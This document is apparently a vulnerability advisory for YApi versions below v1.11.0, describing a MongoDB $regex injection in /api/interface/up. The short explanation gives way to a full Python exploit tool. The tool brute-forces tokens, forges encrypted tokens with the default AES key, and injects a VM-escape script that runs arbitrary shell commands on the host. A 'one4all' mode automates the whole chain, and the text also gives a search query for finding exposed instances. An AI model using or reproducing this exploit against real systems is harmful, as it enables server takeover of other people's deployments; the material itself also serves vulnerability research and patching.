Yapi Interface Management Platform Up Sql Injection Vulnerability
Yapi Interface Management Platform Up Sql Injection Vulnerability
YApi Interface Management Platform up SQL Injection Vulnerability
Vulnerability Description
The YApi interface management platform has a SQL injection vulnerability. After the attacker obtains user data through MongoDB injection, the encrypted token can be generated through a known AES key to obtain host permissions through VM escape execution system commands.
Vulnerability Impact
YApi Interface Management Platform < v1.11.0
Network surveying and mapping
app=”YApi”
Vulnerability reappears
Login page
Check the vulnerability fix patch, where the data type of the token continues to be checked, and it needs to be a string to pass the code
Come to the code block, first get the token data from the request, and then go to the method parseToken by checking.
The token is decrypted in the server/utils/token.js#parseToken method, and returns False when decryption fails.
In this file we can find the encryption and decryption method of Token
When Token is False, the code goes to the server/controllers/base.js#getProjectIdByToken method
getProjectIdByToken method call server/models/token.js#findId method
Use the $regex keyword to match the token in the MongoDB database, and judge whether the token is correct through the page echo
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db.token.findOne({token:{'$regex':'^1c'}})
Verify POC
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POST /api/interface/up
{"id": -1, "token": {"$regex": "^xxxxx", "$nin": []}}
Vulnerability POC
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import requests
import json
import click
import re
import sys
import logging
import hashlib
import binascii
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from urllib.parse import urljoin
logger = logging.getLogger('attacker')
logger.setLevel('WARNING')
ch = logging.StreamHandler(sys.stdout)
ch.setFormatter(logging.Formatter('%(asctime)s - %(message)s'))
logger.addHandler(ch)
choices = 'abcedf0123456789'
script_template = r'''const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
const Buffer = FunctionConstructor('return Buffer')()
const output = process.mainModule.require("child_process").execSync(Buffer.from('%s', 'hex').toString()).toString()
context.responseData = 'testtest' + output + 'testtest'
'''
def compute(passphase: str):
nkey = 24
niv = 16
key = ''
iv = ''
p = ''
while True:
h = hashlib.md5()
h.update(binascii.unhexlify(p))
h.update(passphase.encode())
p = h.hexdigest()
i = 0
n = min(len(p) - i, 2 * nkey)
nkey -= n // 2
key += p[i:i + n]
i += n
n = min(len(p) - i, 2 * niv)
niv -= n // 2
iv += p[i:i + n]
i += n
if nkey + niv == 0:
return binascii.unhexlify(key), binascii.unhexlify(iv)
def aes_encode(data):
key, iv = compute('abcde')
padder = padding.PKCS7(128).padder()
cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
encryptor = cipher.encryptor()
ct = encryptor.update(padder.update(data.encode()) + padder.finalize()) + encryptor.finalize()
return binascii.hexlify(ct).decode()
def aes_decode(data):
key, iv = compute('abcde')
unpadder = padding.PKCS7(128).unpadder()
cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
decryptor = cipher.decryptor()
ct = decryptor.update(binascii.unhexlify(data)) + decryptor.finalize()
ct = unpadder.update(ct) + unpadder.finalize()
return ct.decode().strip()
def brute_token(target, already):
url = urljoin(target, '/api/interface/up')
current = '^'
for i in range(20):
for ch in choices:
guess = current + ch
data = {
'id': -1,
'token': {
'$regex': guess,
'$nin': already
}
}
headers = {
'Content-Type': 'application/json'
}
response = requests.post(url,
data=json.dumps(data),
headers=headers,
# proxies={'https': 'https://127.0.0.1:8085', 'http': 'https://127.0.0.1:8085'},
# verify=False,
)
res = response.json()
if res['errcode'] == 400:
current = guess
break
logger.debug(f'current cuess: {current}')
return current[1:]
def find_owner_uid(target, token):
url = urljoin(target, '/api/project/get')
for i in range(1, 200):
params = {'token': aes_encode(f'{i}|{token}')}
response = requests.get(url, params=params,
# proxies={'https': 'https://127.0.0.1:8085', 'http': 'https://127.0.0.1:8085'},
# verify=False,
)
data = response.json()
if data['errcode'] == 0:
return i
return None
def find_project(target, token, pid=None):
url = urljoin(target, '/api/project/get')
params = {'token': token}
if pid:
params['id'] = pid
response = requests.get(url,
params=params,
#proxies={'https': 'https://127.0.0.1:8085', 'http': 'https://127.0.0.1:8085'},
#verify=False,
)
data = response.json()
if data['errcode'] == 0:
return data['data']
def find_col(target, token, brute_from, brute_to):
url = urljoin(target, '/api/open/run_auto_test')
for i in range(brute_from, brute_to):
try:
params = {'token': token, 'id': i, "mode": "json"}
response = requests.get(url,
params=params,
timeout=5,
#proxies={'https': 'https://127.0.0.1:8085', 'http': 'https://127.0.0.1:8085'},
#verify=False,
)
data = response.json()
if 'message' not in data:
continue
if data['message']['len'] > 0:
logger.debug('Test Result Found: %r', response.url)
yield i
except requests.exceptions.Timeout:
logger.debug('id=%d timeout', i)
pass
def update_project(target, token, project_id, command):
url = urljoin(target, '/api/project/up')
command_hex = command.encode().hex()
script = script_template % command_hex
response = requests.post(url,
params={'token': token},
json={'id': project_id, 'after_script': script},
# proxies={'https': 'https://127.0.0.1:8085', 'http': 'https://127.0.0.1:8085'},
# verify=False,
)
data = response.json()
return data['errcode'] == 0
def run_auto_test(target, token, col_id):
url = urljoin(target, '/api/open/run_auto_test')
response = requests.get(url,
params={'token': token, 'id': col_id, 'mode': 'json'},
# proxies={'https': 'https://127.0.0.1:8085', 'http': 'https://127.0.0.1:8085'},
# verify=False,
)
try:
data = response.json()
return data['list'][0]['res_body'][8:-8]
except (requests.exceptions.JSONDecodeError, KeyError, IndexError, TypeError) as e:
g = re.search(br'testtest(.*?)testtest', response.content, re.I | re.S)
if g:
return g.group(1).decode()
else:
return None
def clear_project(target, token, project_id, old_after_script):
url = urljoin(target, '/api/project/up')
response = requests.post(url, params={'token': token}, json={'id': project_id, 'after_script': old_after_script})
data = response.json()
return data['errcode'] == 0
@click.group()
@click.option('--debug', 'debug', is_flag=True, type=bool, required=False, default=False)
def cli(debug):
if debug:
logger.setLevel('DEBUG')
@cli.command('enc')
@click.argument('data', type=str, required=True)
def cmd_enc(data: str):
click.echo(aes_encode(data))
@cli.command('dec')
@click.argument('data', type=str, required=True)
def cmd_dec(data: str):
click.echo(aes_decode(data))
@cli.command('token')
@click.option('-u', '--url', type=str, required=True)
@click.option('-c', '--count', type=int, default=5)
def cmd_token(url, count):
already = []
for i in range(count):
token = brute_token(url, already)
if not token:
break
click.echo(f'find a valid token: {token}')
already.append(token)
@cli.command('owner')
@click.option('-u', '--url', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
def cmd_owner(url, token):
aid = find_owner_uid(url, token)
e = aes_encode(f'{aid}|{token}')
click.echo(f'your owner id is: {aid}, encrypted token is {e}')
@cli.command('project')
@click.option('-u', '--url', type=str, required=True)
@click.option('-o', '--owner-id', 'owner', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
def cmd_project(url, owner, token):
token = aes_encode(f'{owner}|{token}')
project = find_project(url, token)
if project:
logger.info('[+] project by this token: %r', project)
click.echo(f'your project id is: {project["_id"]}')
@cli.command('col')
@click.option('-u', '--url', type=str, required=True)
@click.option('-o', '--owner-id', 'owner', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
@click.option('--from', 'brute_from', type=int, required=False, default=1, help='Brute Col id from this number')
@click.option('--to', 'brute_to', type=int, required=False, default=200, help='Brute Col id to this number')
def cmd_col(url, owner, token, brute_from, brute_to):
token = aes_encode(f'{owner}|{token}')
for i in find_col(url, token, brute_from, brute_to):
click.echo(f'found a valid col id: {i}')
@cli.command('rce')
@click.option('-u', '--url', type=str, required=True)
@click.option('-o', '--owner-id', 'owner', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
@click.option('--pid', 'project_id', type=int, required=True)
@click.option('--cid', 'col_id', type=int, required=True)
@click.option('-c', '--command', 'command', type=str, required=True, help='Command that you want to execute')
def cmd_rce(url, owner, token, project_id, col_id, command):
token = aes_encode(f'{owner}|{token}')
project = find_project(url, token, project_id)
if not project:
click.echo('[-] failed to get project')
return False
old_after_script = project.get('after_script', '')
if not update_project(url, token, project_id, command):
click.echo('[-] failed to update project')
return False
output = run_auto_test(url, token, col_id)
if output:
click.echo(output)
clear_project(url, token, project_id, old_after_script)
return True
clear_project(url, token, project_id, old_after_script)
return False
@cli.command('one4all')
@click.option('-u', '--url', type=str, required=True)
@click.option('--count', type=int, default=5)
@click.option('-c', '--command', type=str, default='id')
def cmd_one4all(url, count, command):
already = []
for i in range(count):
token = brute_token(url, already)
if not token:
logger.info('[-] no new token found, exit...')
break
already.append(token)
logger.info('[+] find a new token: %s', token)
owner_id = find_owner_uid(url, token)
if not owner_id:
logger.info('[-] failed to find the owner id using token %s', token)
continue
etoken = aes_encode(f'{owner_id}|{token}')
logger.info('[+] find a new owner id: %r, encrypted token: %s', owner_id, etoken)
project = find_project(url, etoken)
if not project:
logger.info('[-] failed to find project using token %s', token)
continue
project_id = project['_id']
logger.info('[+] project_id = %s, project = %r', project_id, project)
col_ids = find_col(url, etoken, 1, 200)
if not col_ids:
logger.info('[+] failed to find cols in project %s, try next project...', project_id)
for col_id in col_ids:
logger.info('[+] col_id = %s', col_id)
click.echo(f'hit: project_id: {project_id} | owner_id: {owner_id} | col_id: {col_id} | token: {token}')
click.echo(f'suggestion: python {sys.argv[0]} rce -u {url} -t {token} -o {owner_id} --pid {project_id} --cid {col_id} --command="{command}"')
if cmd_rce.callback(url, owner_id, token, project_id, col_id, command):
return
if __name__ == '__main__':
cli()
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